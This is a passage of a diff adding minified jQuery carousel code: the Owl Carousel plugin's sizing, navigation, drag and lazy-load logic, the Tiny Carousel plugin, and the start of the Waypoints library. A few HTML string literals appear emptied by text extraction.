'),
+ this.wrapperOuter = this.$elem.find(".owl-wrapper-outer"),
+ this.$elem.css("display", "block")
+ },
+ baseClass: function() {
+ var t = this.$elem.hasClass(this.options.baseClass)
+ , e = this.$elem.hasClass(this.options.theme);
+ t || this.$elem.addClass(this.options.baseClass),
+ e || this.$elem.addClass(this.options.theme)
+ },
+ updateItems: function() {
+ var e, i;
+ if (!1 === this.options.responsive)
+ return !1;
+ if (!0 === this.options.singleItem)
+ return this.options.items = this.orignalItems = 1,
+ this.options.itemsCustom = !1,
+ this.options.itemsDesktop = !1,
+ this.options.itemsDesktopSmall = !1,
+ this.options.itemsTablet = !1,
+ this.options.itemsTabletSmall = !1,
+ this.options.itemsMobile = !1;
+ if (e = t(this.options.responsiveBaseWidth).width(),
+ e > (this.options.itemsDesktop[0] || this.orignalItems) && (this.options.items = this.orignalItems),
+ !1 !== this.options.itemsCustom)
+ for (this.options.itemsCustom.sort(function(t, e) {
+ return t[0] - e[0]
+ }
+ ),
+ i = 0; i < this.options.itemsCustom.length; i += 1)
+ this.options.itemsCustom[i][0] <= e && (this.options.items = this.options.itemsCustom[i][1]);
+ else
+ e <= this.options.itemsDesktop[0] && !1 !== this.options.itemsDesktop && (this.options.items = this.options.itemsDesktop[1]),
+ e <= this.options.itemsDesktopSmall[0] && !1 !== this.options.itemsDesktopSmall && (this.options.items = this.options.itemsDesktopSmall[1]),
+ e <= this.options.itemsTablet[0] && !1 !== this.options.itemsTablet && (this.options.items = this.options.itemsTablet[1]),
+ e <= this.options.itemsTabletSmall[0] && !1 !== this.options.itemsTabletSmall && (this.options.items = this.options.itemsTabletSmall[1]),
+ e <= this.options.itemsMobile[0] && !1 !== this.options.itemsMobile && (this.options.items = this.options.itemsMobile[1]);
+ this.options.items > this.itemsAmount && !0 === this.options.itemsScaleUp && (this.options.items = this.itemsAmount)
+ },
+ response: function() {
+ var i, s, n = this;
+ return !0 !== n.options.responsive ? !1 : (s = t(e).width(),
+ n.resizer = function() {
+ t(e).width() !== s && (!1 !== n.options.autoPlay && e.clearInterval(n.autoPlayInterval),
+ e.clearTimeout(i),
+ i = e.setTimeout(function() {
+ s = t(e).width(),
+ n.updateVars()
+ }
+ , n.options.responsiveRefreshRate))
+ }
+ ,
+ void t(e).resize(n.resizer))
+ },
+ updatePosition: function() {
+ this.jumpTo(this.currentItem),
+ !1 !== this.options.autoPlay && this.checkAp()
+ },
+ appendItemsSizes: function() {
+ var e = this
+ , i = 0
+ , s = e.itemsAmount - e.options.items;
+ e.$owlItems.each(function(n) {
+ var o = t(this);
+ o.css({
+ width: e.itemWidth
+ }).data("owl-item", Number(n)),
+ (0 === n % e.options.items || n === s) && (n > s || (i += 1)),
+ o.data("owl-roundPages", i)
+ }
+ )
+ },
+ appendWrapperSizes: function() {
+ this.$owlWrapper.css({
+ width: this.$owlItems.length * this.itemWidth * 2,
+ left: 0
+ }),
+ this.appendItemsSizes()
+ },
+ calculateAll: function() {
+ this.calculateWidth(),
+ this.appendWrapperSizes(),
+ this.loops(),
+ this.max()
+ },
+ calculateWidth: function() {
+ this.itemWidth = Math.round(this.$elem.width() / this.options.items)
+ },
+ max: function() {
+ var t = -1 * (this.itemsAmount * this.itemWidth - this.options.items * this.itemWidth);
+ return this.options.items > this.itemsAmount ? this.maximumPixels = t = this.maximumItem = 0 : (this.maximumItem = this.itemsAmount - this.options.items,
+ this.maximumPixels = t),
+ t
+ },
+ min: function() {
+ return 0
+ },
+ loops: function() {
+ var e, i, s = 0, n = 0;
+ for (this.positionsInArray = [0],
+ this.pagesInArray = [],
+ e = 0; e < this.itemsAmount; e += 1)
+ n += this.itemWidth,
+ this.positionsInArray.push(-n),
+ !0 === this.options.scrollPerPage && (i = t(this.$owlItems[e]),
+ i = i.data("owl-roundPages"),
+ i !== s && (this.pagesInArray[s] = this.positionsInArray[e],
+ s = i))
+ },
+ buildControls: function() {
+ (!0 === this.options.navigation || !0 === this.options.pagination) && (this.owlControls = t('
').toggleClass("clickable", !this.browser.isTouch).appendTo(this.$elem)),
+ !0 === this.options.pagination && this.buildPagination(),
+ !0 === this.options.navigation && this.buildButtons()
+ },
+ buildButtons: function() {
+ var e = this
+ , i = t('
');
+ e.owlControls.append(i),
+ e.buttonPrev = t("
", {
+ "class": "owl-prev",
+ html: e.options.navigationText[0] || ""
+ }),
+ e.buttonNext = t("
", {
+ "class": "owl-next",
+ html: e.options.navigationText[1] || ""
+ }),
+ i.append(e.buttonPrev).append(e.buttonNext),
+ i.on("touchstart.owlControls mousedown.owlControls", 'div[class^="owl"]', function(t) {
+ t.preventDefault()
+ }
+ ),
+ i.on("touchend.owlControls mouseup.owlControls", 'div[class^="owl"]', function(i) {
+ i.preventDefault(),
+ t(this).hasClass("owl-next") ? e.next() : e.prev()
+ }
+ )
+ },
+ buildPagination: function() {
+ var e = this;
+ e.paginationWrapper = t(''),
+ e.owlControls.append(e.paginationWrapper),
+ e.paginationWrapper.on("touchend.owlControls mouseup.owlControls", ".owl-page", function(i) {
+ i.preventDefault(),
+ Number(t(this).data("owl-page")) !== e.currentItem && e.goTo(Number(t(this).data("owl-page")), !0)
+ }
+ )
+ },
+ updatePagination: function() {
+ var e, i, s, n, o, r;
+ if (!1 === this.options.pagination)
+ return !1;
+ for (this.paginationWrapper.html(""),
+ e = 0,
+ i = this.itemsAmount - this.itemsAmount % this.options.items,
+ n = 0; n < this.itemsAmount; n += 1)
+ 0 === n % this.options.items && (e += 1,
+ i === n && (s = this.itemsAmount - this.options.items),
+ o = t("
", {
+ "class": "owl-page"
+ }),
+ r = t("
", {
+ text: !0 === this.options.paginationNumbers ? e : "",
+ "class": !0 === this.options.paginationNumbers ? "owl-numbers" : ""
+ }),
+ o.append(r),
+ o.data("owl-page", i === n ? s : n),
+ o.data("owl-roundPages", e),
+ this.paginationWrapper.append(o));
+ this.checkPagination()
+ },
+ checkPagination: function() {
+ var e = this;
+ return !1 === e.options.pagination ? !1 : void e.paginationWrapper.find(".owl-page").each(function() {
+ t(this).data("owl-roundPages") === t(e.$owlItems[e.currentItem]).data("owl-roundPages") && (e.paginationWrapper.find(".owl-page").removeClass("active"),
+ t(this).addClass("active"))
+ }
+ )
+ },
+ checkNavigation: function() {
+ return !1 === this.options.navigation ? !1 : void (!1 === this.options.rewindNav && (0 === this.currentItem && 0 === this.maximumItem ? (this.buttonPrev.addClass("disabled"),
+ this.buttonNext.addClass("disabled")) : 0 === this.currentItem && 0 !== this.maximumItem ? (this.buttonPrev.addClass("disabled"),
+ this.buttonNext.removeClass("disabled")) : this.currentItem === this.maximumItem ? (this.buttonPrev.removeClass("disabled"),
+ this.buttonNext.addClass("disabled")) : 0 !== this.currentItem && this.currentItem !== this.maximumItem && (this.buttonPrev.removeClass("disabled"),
+ this.buttonNext.removeClass("disabled"))))
+ },
+ updateControls: function() {
+ this.updatePagination(),
+ this.checkNavigation(),
+ this.owlControls && (this.options.items >= this.itemsAmount ? this.owlControls.hide() : this.owlControls.show())
+ },
+ destroyControls: function() {
+ this.owlControls && this.owlControls.remove()
+ },
+ next: function(t) {
+ if (this.isTransition)
+ return !1;
+ if (this.currentItem += !0 === this.options.scrollPerPage ? this.options.items : 1,
+ this.currentItem > this.maximumItem + (!0 === this.options.scrollPerPage ? this.options.items - 1 : 0)) {
+ if (!0 !== this.options.rewindNav)
+ return this.currentItem = this.maximumItem,
+ !1;
+ this.currentItem = 0,
+ t = "rewind"
+ }
+ this.goTo(this.currentItem, t)
+ },
+ prev: function(t) {
+ if (this.isTransition)
+ return !1;
+ if (this.currentItem = !0 === this.options.scrollPerPage && 0 < this.currentItem && this.currentItem < this.options.items ? 0 : this.currentItem - (!0 === this.options.scrollPerPage ? this.options.items : 1),
+ 0 > this.currentItem) {
+ if (!0 !== this.options.rewindNav)
+ return this.currentItem = 0,
+ !1;
+ this.currentItem = this.maximumItem,
+ t = "rewind"
+ }
+ this.goTo(this.currentItem, t)
+ },
+ goTo: function(t, i, s) {
+ var n = this;
+ return n.isTransition ? !1 : ("function" == typeof n.options.beforeMove && n.options.beforeMove.apply(this, [n.$elem]),
+ t >= n.maximumItem ? t = n.maximumItem : 0 >= t && (t = 0),
+ n.currentItem = n.owl.currentItem = t,
+ !1 !== n.options.transitionStyle && "drag" !== s && 1 === n.options.items && !0 === n.browser.support3d ? (n.swapSpeed(0),
+ !0 === n.browser.support3d ? n.transition3d(n.positionsInArray[t]) : n.css2slide(n.positionsInArray[t], 1),
+ n.afterGo(),
+ n.singleItemTransition(),
+ !1) : (t = n.positionsInArray[t],
+ !0 === n.browser.support3d ? (n.isCss3Finish = !1,
+ !0 === i ? (n.swapSpeed("paginationSpeed"),
+ e.setTimeout(function() {
+ n.isCss3Finish = !0
+ }
+ , n.options.paginationSpeed)) : "rewind" === i ? (n.swapSpeed(n.options.rewindSpeed),
+ e.setTimeout(function() {
+ n.isCss3Finish = !0
+ }
+ , n.options.rewindSpeed)) : (n.swapSpeed("slideSpeed"),
+ e.setTimeout(function() {
+ n.isCss3Finish = !0
+ }
+ , n.options.slideSpeed)),
+ n.transition3d(t)) : !0 === i ? n.css2slide(t, n.options.paginationSpeed) : "rewind" === i ? n.css2slide(t, n.options.rewindSpeed) : n.css2slide(t, n.options.slideSpeed),
+ void n.afterGo()))
+ },
+ jumpTo: function(t) {
+ "function" == typeof this.options.beforeMove && this.options.beforeMove.apply(this, [this.$elem]),
+ t >= this.maximumItem || -1 === t ? t = this.maximumItem : 0 >= t && (t = 0),
+ this.swapSpeed(0),
+ !0 === this.browser.support3d ? this.transition3d(this.positionsInArray[t]) : this.css2slide(this.positionsInArray[t], 1),
+ this.currentItem = this.owl.currentItem = t,
+ this.afterGo()
+ },
+ afterGo: function() {
+ this.prevArr.push(this.currentItem),
+ this.prevItem = this.owl.prevItem = this.prevArr[this.prevArr.length - 2],
+ this.prevArr.shift(0),
+ this.prevItem !== this.currentItem && (this.checkPagination(),
+ this.checkNavigation(),
+ this.eachMoveUpdate(),
+ !1 !== this.options.autoPlay && this.checkAp()),
+ "function" == typeof this.options.afterMove && this.prevItem !== this.currentItem && this.options.afterMove.apply(this, [this.$elem])
+ },
+ stop: function() {
+ this.apStatus = "stop",
+ e.clearInterval(this.autoPlayInterval)
+ },
+ checkAp: function() {
+ "stop" !== this.apStatus && this.play()
+ },
+ play: function() {
+ var t = this;
+ return t.apStatus = "play",
+ !1 === t.options.autoPlay ? !1 : (e.clearInterval(t.autoPlayInterval),
+ void (t.autoPlayInterval = e.setInterval(function() {
+ t.next(!0)
+ }
+ , t.options.autoPlay)))
+ },
+ swapSpeed: function(t) {
+ "slideSpeed" === t ? this.$owlWrapper.css(this.addCssSpeed(this.options.slideSpeed)) : "paginationSpeed" === t ? this.$owlWrapper.css(this.addCssSpeed(this.options.paginationSpeed)) : "string" != typeof t && this.$owlWrapper.css(this.addCssSpeed(t))
+ },
+ addCssSpeed: function(t) {
+ return {
+ "-webkit-transition": "all " + t + "ms ease",
+ "-moz-transition": "all " + t + "ms ease",
+ "-o-transition": "all " + t + "ms ease",
+ transition: "all " + t + "ms ease"
+ }
+ },
+ removeTransition: function() {
+ return {
+ "-webkit-transition": "",
+ "-moz-transition": "",
+ "-o-transition": "",
+ transition: ""
+ }
+ },
+ doTranslate: function(t) {
+ return {
+ "-webkit-transform": "translate3d(" + t + "px, 0px, 0px)",
+ "-moz-transform": "translate3d(" + t + "px, 0px, 0px)",
+ "-o-transform": "translate3d(" + t + "px, 0px, 0px)",
+ "-ms-transform": "translate3d(" + t + "px, 0px, 0px)",
+ transform: "translate3d(" + t + "px, 0px,0px)"
+ }
+ },
+ transition3d: function(t) {
+ this.$owlWrapper.css(this.doTranslate(t))
+ },
+ css2move: function(t) {
+ this.$owlWrapper.css({
+ left: t
+ })
+ },
+ css2slide: function(t, e) {
+ var i = this;
+ i.isCssFinish = !1,
+ i.$owlWrapper.stop(!0, !0).animate({
+ left: t
+ }, {
+ duration: e || i.options.slideSpeed,
+ complete: function() {
+ i.isCssFinish = !0
+ }
+ })
+ },
+ checkBrowser: function() {
+ var t = i.createElement("div");
+ t.style.cssText = " -moz-transform:translate3d(0px, 0px, 0px); -ms-transform:translate3d(0px, 0px, 0px); -o-transform:translate3d(0px, 0px, 0px); -webkit-transform:translate3d(0px, 0px, 0px); transform:translate3d(0px, 0px, 0px)",
+ t = t.style.cssText.match(/translate3d\(0px, 0px, 0px\)/g),
+ this.browser = {
+ support3d: null !== t && 1 === t.length,
+ isTouch: "ontouchstart" in e || e.navigator.msMaxTouchPoints
+ }
+ },
+ moveEvents: function() {
+ (!1 !== this.options.mouseDrag || !1 !== this.options.touchDrag) && (this.gestures(),
+ this.disabledEvents())
+ },
+ eventTypes: function() {
+ var t = ["s", "e", "x"];
+ this.ev_types = {},
+ !0 === this.options.mouseDrag && !0 === this.options.touchDrag ? t = ["touchstart.owl mousedown.owl", "touchmove.owl mousemove.owl", "touchend.owl touchcancel.owl mouseup.owl"] : !1 === this.options.mouseDrag && !0 === this.options.touchDrag ? t = ["touchstart.owl", "touchmove.owl", "touchend.owl touchcancel.owl"] : !0 === this.options.mouseDrag && !1 === this.options.touchDrag && (t = ["mousedown.owl", "mousemove.owl", "mouseup.owl"]),
+ this.ev_types.start = t[0],
+ this.ev_types.move = t[1],
+ this.ev_types.end = t[2]
+ },
+ disabledEvents: function() {
+ this.$elem.on("dragstart.owl", function(t) {
+ t.preventDefault()
+ }
+ ),
+ this.$elem.on("mousedown.disableTextSelect", function(e) {
+ return t(e.target).is("input, textarea, select, option")
+ }
+ )
+ },
+ gestures: function() {
+ function s(t) {
+ if (void 0 !== t.touches)
+ return {
+ x: t.touches[0].pageX,
+ y: t.touches[0].pageY
+ };
+ if (void 0 === t.touches) {
+ if (void 0 !== t.pageX)
+ return {
+ x: t.pageX,
+ y: t.pageY
+ };
+ if (void 0 === t.pageX)
+ return {
+ x: t.clientX,
+ y: t.clientY
+ }
+ }
+ }
+ function n(e) {
+ "on" === e ? (t(i).on(a.ev_types.move, o),
+ t(i).on(a.ev_types.end, r)) : "off" === e && (t(i).off(a.ev_types.move),
+ t(i).off(a.ev_types.end))
+ }
+ function o(n) {
+ n = n.originalEvent || n || e.event,
+ a.newPosX = s(n).x - l.offsetX,
+ a.newPosY = s(n).y - l.offsetY,
+ a.newRelativeX = a.newPosX - l.relativePos,
+ "function" == typeof a.options.startDragging && !0 !== l.dragging && 0 !== a.newRelativeX && (l.dragging = !0,
+ a.options.startDragging.apply(a, [a.$elem])),
+ (8 < a.newRelativeX || -8 > a.newRelativeX) && !0 === a.browser.isTouch && (void 0 !== n.preventDefault ? n.preventDefault() : n.returnValue = !1,
+ l.sliding = !0),
+ (10 < a.newPosY || -10 > a.newPosY) && !1 === l.sliding && t(i).off("touchmove.owl"),
+ a.newPosX = Math.max(Math.min(a.newPosX, a.newRelativeX / 5), a.maximumPixels + a.newRelativeX / 5),
+ !0 === a.browser.support3d ? a.transition3d(a.newPosX) : a.css2move(a.newPosX)
+ }
+ function r(i) {
+ i = i.originalEvent || i || e.event;
+ var s;
+ i.target = i.target || i.srcElement,
+ l.dragging = !1,
+ !0 !== a.browser.isTouch && a.$owlWrapper.removeClass("grabbing"),
+ a.dragDirection = a.owl.dragDirection = 0 > a.newRelativeX ? "left" : "right",
+ 0 !== a.newRelativeX && (s = a.getNewPosition(),
+ a.goTo(s, !1, "drag"),
+ l.targetElement === i.target && !0 !== a.browser.isTouch && (t(i.target).on("click.disable", function(e) {
+ e.stopImmediatePropagation(),
+ e.stopPropagation(),
+ e.preventDefault(),
+ t(e.target).off("click.disable")
+ }
+ ),
+ i = t._data(i.target, "events").click,
+ s = i.pop(),
+ i.splice(0, 0, s))),
+ n("off")
+ }
+ var a = this
+ , l = {
+ offsetX: 0,
+ offsetY: 0,
+ baseElWidth: 0,
+ relativePos: 0,
+ position: null ,
+ minSwipe: null ,
+ maxSwipe: null ,
+ sliding: null ,
+ dargging: null ,
+ targetElement: null
+ };
+ a.isCssFinish = !0,
+ a.$elem.on(a.ev_types.start, ".owl-wrapper", function(i) {
+ i = i.originalEvent || i || e.event;
+ var o;
+ if (3 === i.which)
+ return !1;
+ if (!(a.itemsAmount <= a.options.items)) {
+ if (!1 === a.isCssFinish && !a.options.dragBeforeAnimFinish || !1 === a.isCss3Finish && !a.options.dragBeforeAnimFinish)
+ return !1;
+ !1 !== a.options.autoPlay && e.clearInterval(a.autoPlayInterval),
+ !0 === a.browser.isTouch || a.$owlWrapper.hasClass("grabbing") || a.$owlWrapper.addClass("grabbing"),
+ a.newPosX = 0,
+ a.newRelativeX = 0,
+ t(this).css(a.removeTransition()),
+ o = t(this).position(),
+ l.relativePos = o.left,
+ l.offsetX = s(i).x - o.left,
+ l.offsetY = s(i).y - o.top,
+ n("on"),
+ l.sliding = !1,
+ l.targetElement = i.target || i.srcElement
+ }
+ }
+ )
+ },
+ getNewPosition: function() {
+ var t = this.closestItem();
+ return t > this.maximumItem ? t = this.currentItem = this.maximumItem : 0 <= this.newPosX && (this.currentItem = t = 0),
+ t
+ },
+ closestItem: function() {
+ var e = this
+ , i = !0 === e.options.scrollPerPage ? e.pagesInArray : e.positionsInArray
+ , s = e.newPosX
+ , n = null ;
+ return t.each(i, function(o, r) {
+ s - e.itemWidth / 20 > i[o + 1] && s - e.itemWidth / 20 < r && "left" === e.moveDirection() ? (n = r,
+ e.currentItem = !0 === e.options.scrollPerPage ? t.inArray(n, e.positionsInArray) : o) : s + e.itemWidth / 20 < r && s + e.itemWidth / 20 > (i[o + 1] || i[o] - e.itemWidth) && "right" === e.moveDirection() && (!0 === e.options.scrollPerPage ? (n = i[o + 1] || i[i.length - 1],
+ e.currentItem = t.inArray(n, e.positionsInArray)) : (n = i[o + 1],
+ e.currentItem = o + 1))
+ }
+ ),
+ e.currentItem
+ },
+ moveDirection: function() {
+ var t;
+ return 0 > this.newRelativeX ? (t = "right",
+ this.playDirection = "next") : (t = "left",
+ this.playDirection = "prev"),
+ t
+ },
+ customEvents: function() {
+ var t = this;
+ t.$elem.on("owl.next", function() {
+ t.next()
+ }
+ ),
+ t.$elem.on("owl.prev", function() {
+ t.prev()
+ }
+ ),
+ t.$elem.on("owl.play", function(e, i) {
+ t.options.autoPlay = i,
+ t.play(),
+ t.hoverStatus = "play"
+ }
+ ),
+ t.$elem.on("owl.stop", function() {
+ t.stop(),
+ t.hoverStatus = "stop"
+ }
+ ),
+ t.$elem.on("owl.goTo", function(e, i) {
+ t.goTo(i)
+ }
+ ),
+ t.$elem.on("owl.jumpTo", function(e, i) {
+ t.jumpTo(i)
+ }
+ )
+ },
+ stopOnHover: function() {
+ var t = this;
+ !0 === t.options.stopOnHover && !0 !== t.browser.isTouch && !1 !== t.options.autoPlay && (t.$elem.on("mouseover", function() {
+ t.stop()
+ }
+ ),
+ t.$elem.on("mouseout", function() {
+ "stop" !== t.hoverStatus && t.play()
+ }
+ ))
+ },
+ lazyLoad: function() {
+ var e, i, s, n, o;
+ if (!1 === this.options.lazyLoad)
+ return !1;
+ for (e = 0; e < this.itemsAmount; e += 1)
+ i = t(this.$owlItems[e]),
+ "loaded" !== i.data("owl-loaded") && (s = i.data("owl-item"),
+ n = i.find(".lazyOwl"),
+ "string" != typeof n.data("src") ? i.data("owl-loaded", "loaded") : (void 0 === i.data("owl-loaded") && (n.hide(),
+ i.addClass("loading").data("owl-loaded", "checked")),
+ (o = !0 === this.options.lazyFollow ? s >= this.currentItem : !0) && s < this.currentItem + this.options.items && n.length && this.lazyPreload(i, n)))
+ },
+ lazyPreload: function(t, i) {
+ function s() {
+ t.data("owl-loaded", "loaded").removeClass("loading"),
+ i.removeAttr("data-src"),
+ "fade" === r.options.lazyEffect ? i.fadeIn(400) : i.show(),
+ "function" == typeof r.options.afterLazyLoad && r.options.afterLazyLoad.apply(this, [r.$elem])
+ }
+ function n() {
+ a += 1,
+ r.completeImg(i.get(0)) || !0 === o ? s() : 100 >= a ? e.setTimeout(n, 100) : s()
+ }
+ var o, r = this, a = 0;
+ "DIV" === i.prop("tagName") ? (i.css("background-image", "url(" + i.data("src") + ")"),
+ o = !0) : i[0].src = i.data("src"),
+ n()
+ },
+ autoHeight: function() {
+ function i() {
+ var i = t(o.$owlItems[o.currentItem]).height();
+ o.wrapperOuter.css("height", i + "px"),
+ o.wrapperOuter.hasClass("autoHeight") || e.setTimeout(function() {
+ o.wrapperOuter.addClass("autoHeight")
+ }
+ , 0)
+ }
+ function s() {
+ n += 1,
+ o.completeImg(r.get(0)) ? i() : 100 >= n ? e.setTimeout(s, 100) : o.wrapperOuter.css("height", "")
+ }
+ var n, o = this, r = t(o.$owlItems[o.currentItem]).find("img");
+ void 0 !== r.get(0) ? (n = 0,
+ s()) : i()
+ },
+ completeImg: function(t) {
+ return !t.complete || "undefined" != typeof t.naturalWidth && 0 === t.naturalWidth ? !1 : !0
+ },
+ onVisibleItems: function() {
+ var e;
+ for (!0 === this.options.addClassActive && this.$owlItems.removeClass("active"),
+ this.visibleItems = [],
+ e = this.currentItem; e < this.currentItem + this.options.items; e += 1)
+ this.visibleItems.push(e),
+ !0 === this.options.addClassActive && t(this.$owlItems[e]).addClass("active");
+ this.owl.visibleItems = this.visibleItems
+ },
+ transitionTypes: function(t) {
+ this.outClass = "owl-" + t + "-out",
+ this.inClass = "owl-" + t + "-in"
+ },
+ singleItemTransition: function() {
+ var t = this
+ , e = t.outClass
+ , i = t.inClass
+ , s = t.$owlItems.eq(t.currentItem)
+ , n = t.$owlItems.eq(t.prevItem)
+ , o = Math.abs(t.positionsInArray[t.currentItem]) + t.positionsInArray[t.prevItem]
+ , r = Math.abs(t.positionsInArray[t.currentItem]) + t.itemWidth / 2;
+ t.isTransition = !0,
+ t.$owlWrapper.addClass("owl-origin").css({
+ "-webkit-transform-origin": r + "px",
+ "-moz-perspective-origin": r + "px",
+ "perspective-origin": r + "px"
+ }),
+ n.css({
+ position: "relative",
+ left: o + "px"
+ }).addClass(e).on("webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend", function() {
+ t.endPrev = !0,
+ n.off("webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend"),
+ t.clearTransStyle(n, e)
+ }
+ ),
+ s.addClass(i).on("webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend", function() {
+ t.endCurrent = !0,
+ s.off("webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend"),
+ t.clearTransStyle(s, i)
+ }
+ )
+ },
+ clearTransStyle: function(t, e) {
+ t.css({
+ position: "",
+ left: ""
+ }).removeClass(e),
+ this.endPrev && this.endCurrent && (this.$owlWrapper.removeClass("owl-origin"),
+ this.isTransition = this.endCurrent = this.endPrev = !1)
+ },
+ owlStatus: function() {
+ this.owl = {
+ userOptions: this.userOptions,
+ baseElement: this.$elem,
+ userItems: this.$userItems,
+ owlItems: this.$owlItems,
+ currentItem: this.currentItem,
+ prevItem: this.prevItem,
+ visibleItems: this.visibleItems,
+ isTouch: this.browser.isTouch,
+ browser: this.browser,
+ dragDirection: this.dragDirection
+ }
+ },
+ clearEvents: function() {
+ this.$elem.off(".owl owl mousedown.disableTextSelect"),
+ t(i).off(".owl owl"),
+ t(e).off("resize", this.resizer)
+ },
+ unWrap: function() {
+ 0 !== this.$elem.children().length && (this.$owlWrapper.unwrap(),
+ this.$userItems.unwrap().unwrap(),
+ this.owlControls && this.owlControls.remove()),
+ this.clearEvents(),
+ this.$elem.attr("style", this.$elem.data("owl-originalStyles") || "").attr("class", this.$elem.data("owl-originalClasses"))
+ },
+ destroy: function() {
+ this.stop(),
+ e.clearInterval(this.checkVisible),
+ this.unWrap(),
+ this.$elem.removeData()
+ },
+ reinit: function(e) {
+ e = t.extend({}, this.userOptions, e),
+ this.unWrap(),
+ this.init(e, this.$elem)
+ },
+ addItem: function(t, e) {
+ var i;
+ return t ? 0 === this.$elem.children().length ? (this.$elem.append(t),
+ this.setVars(),
+ !1) : (this.unWrap(),
+ i = void 0 === e || -1 === e ? -1 : e,
+ i >= this.$userItems.length || -1 === i ? this.$userItems.eq(-1).after(t) : this.$userItems.eq(i).before(t),
+ void this.setVars()) : !1
+ },
+ removeItem: function(t) {
+ return 0 === this.$elem.children().length ? !1 : (t = void 0 === t || -1 === t ? -1 : t,
+ this.unWrap(),
+ this.$userItems.eq(t).remove(),
+ void this.setVars())
+ }
+ };
+ t.fn.owlCarousel = function(e) {
+ return this.each(function() {
+ if (!0 === t(this).data("owl-init"))
+ return !1;
+ t(this).data("owl-init", !0);
+ var i = Object.create(s);
+ i.init(e, this),
+ t.data(this, "owlCarousel", i)
+ }
+ )
+ }
+ ,
+ t.fn.owlCarousel.options = {
+ items: 5,
+ itemsCustom: !1,
+ itemsDesktop: [1199, 4],
+ itemsDesktopSmall: [979, 3],
+ itemsTablet: [768, 2],
+ itemsTabletSmall: !1,
+ itemsMobile: [479, 1],
+ singleItem: !1,
+ itemsScaleUp: !1,
+ slideSpeed: 200,
+ paginationSpeed: 800,
+ rewindSpeed: 1e3,
+ autoPlay: !1,
+ stopOnHover: !1,
+ navigation: !1,
+ navigationText: ["prev", "next"],
+ rewindNav: !0,
+ scrollPerPage: !1,
+ pagination: !0,
+ paginationNumbers: !1,
+ responsive: !0,
+ responsiveRefreshRate: 200,
+ responsiveBaseWidth: e,
+ baseClass: "owl-carousel",
+ theme: "owl-theme",
+ lazyLoad: !1,
+ lazyFollow: !0,
+ lazyEffect: "fade",
+ autoHeight: !1,
+ jsonPath: !1,
+ jsonSuccess: !1,
+ dragBeforeAnimFinish: !0,
+ mouseDrag: !0,
+ touchDrag: !0,
+ addClassActive: !1,
+ transitionStyle: !1,
+ beforeUpdate: !1,
+ afterUpdate: !1,
+ beforeInit: !1,
+ afterInit: !1,
+ beforeMove: !1,
+ afterMove: !1,
+ afterAction: !1,
+ startDragging: !1,
+ afterLazyLoad: !1
+ }
+ }
+ (jQuery, window, document),
+ !function(t) {
+ "function" == typeof define && define.amd ? define(["jquery"], t) : "object" == typeof exports ? module.exports = t(require("jquery")) : t(jQuery)
+ }
+ (function(t) {
+ function e(e, n) {
+ function o() {
+ return l.update(),
+ l.move(l.slideCurrent),
+ r(),
+ l
+ }
+ function r() {
+ l.options.buttons && (p.click(function() {
+ return l.move(--b),
+ !1
+ }
+ ),
+ u.click(function() {
+ return l.move(++b),
+ !1
+ }
+ )),
+ t(window).resize(l.update),
+ l.options.bullets && e.on("click", ".bullet", function() {
+ return l.move(b = +t(this).attr("data-slide")),
+ !1
+ }
+ )
+ }
+ function a() {
+ l.options.buttons && !l.options.infinite && (p.toggleClass("disable", l.slideCurrent <= 0),
+ u.toggleClass("disable", l.slideCurrent >= l.slidesTotal - v)),
+ l.options.bullets && (f.removeClass("active"),
+ t(f[l.slideCurrent]).addClass("active"))
+ }
+ this.options = t.extend({}, s, n),
+ this._defaults = s,
+ this._name = i;
+ var l = this
+ , h = e.find(".viewport:first")
+ , d = e.find(".overview:first")
+ , c = null
+ , u = e.find(".next:first")
+ , p = e.find(".prev:first")
+ , f = e.find(".bullet")
+ , m = 0
+ , g = {}
+ , v = 0
+ , y = 0
+ , b = 0
+ , w = "x" === this.options.axis
+ , x = w ? "Width" : "Height"
+ , S = w ? "left" : "top"
+ , C = null ;
+ return this.slideCurrent = 0,
+ this.slidesTotal = 0,
+ this.intervalActive = !1,
+ this.update = function() {
+ return d.find(".mirrored").remove(),
+ c = d.children(),
+ m = h[0]["offset" + x],
+ y = c.first()["outer" + x](!0),
+ l.slidesTotal = c.length,
+ l.slideCurrent = l.options.start || 0,
+ v = Math.ceil(m / y),
+ d.append(c.slice(0, v).clone().addClass("mirrored")),
+ d.css(x.toLowerCase(), y * (l.slidesTotal + v)),
+ a(),
+ l
+ }
+ ,
+ this.start = function() {
+ return l.options.interval && (clearTimeout(C),
+ l.intervalActive = !0,
+ C = setTimeout(function() {
+ l.move(++b)
+ }
+ , l.options.intervalTime)),
+ l
+ }
+ ,
+ this.stop = function() {
+ return clearTimeout(C),
+ l.intervalActive = !1,
+ l
+ }
+ ,
+ this.move = function(t) {
+ return b = isNaN(t) ? l.slideCurrent : t,
+ l.slideCurrent = b % l.slidesTotal,
+ 0 > b && (l.slideCurrent = b = l.slidesTotal - 1,
+ d.css(S, -l.slidesTotal * y)),
+ b > l.slidesTotal && (l.slideCurrent = b = 1,
+ d.css(S, 0)),
+ g[S] = -b * y,
+ d.animate(g, {
+ queue: !1,
+ duration: l.options.animation ? l.options.animationTime : 0,
+ always: function() {
+ e.trigger("move", [c[l.slideCurrent], l.slideCurrent])
+ }
+ }),
+ a(),
+ l.start(),
+ l
+ }
+ ,
+ o()
+ }
+ var i = "tinycarousel"
+ , s = {
+ start: 0,
+ axis: "x",
+ buttons: !0,
+ bullets: !1,
+ interval: !1,
+ intervalTime: 3e3,
+ animation: !0,
+ animationTime: 1e3,
+ infinite: !0
+ };
+ t.fn[i] = function(s) {
+ return this.each(function() {
+ t.data(this, "plugin_" + i) || t.data(this, "plugin_" + i, new e(t(this),s))
+ }
+ )
+ }
+ }
+ ),
+ function() {
+ var t = [].indexOf || function(t) {
+ for (var e = 0, i = this.length; i > e; e++)
+ if (e in this && this[e] === t)
+ return e;
+ return -1
+ }
+ , e = [].slice;
+ !function(t, e) {
+ return "function" == typeof define && define.amd ? define("waypoints", ["jquery"], function(i) {
+ return e(i, t)
+ }
+ ) : e(t.jQuery, t)
+ }
+ (this, function(i, s) {
+ var n, o, r, a, l, h, d, c, u, p, f, m, g, v, y, b;
+ return n = i(s),
+ c = t.call(s, "ontouchstart") >= 0,
+ a = {
+ horizontal: {},
+ vertical: {}
+ },
+ l = 1,
+ d = {},
+ h = "waypoints-context-id",
+ f = "resize.waypoints",
+ m = "scroll.waypoints",
+ g = 1,
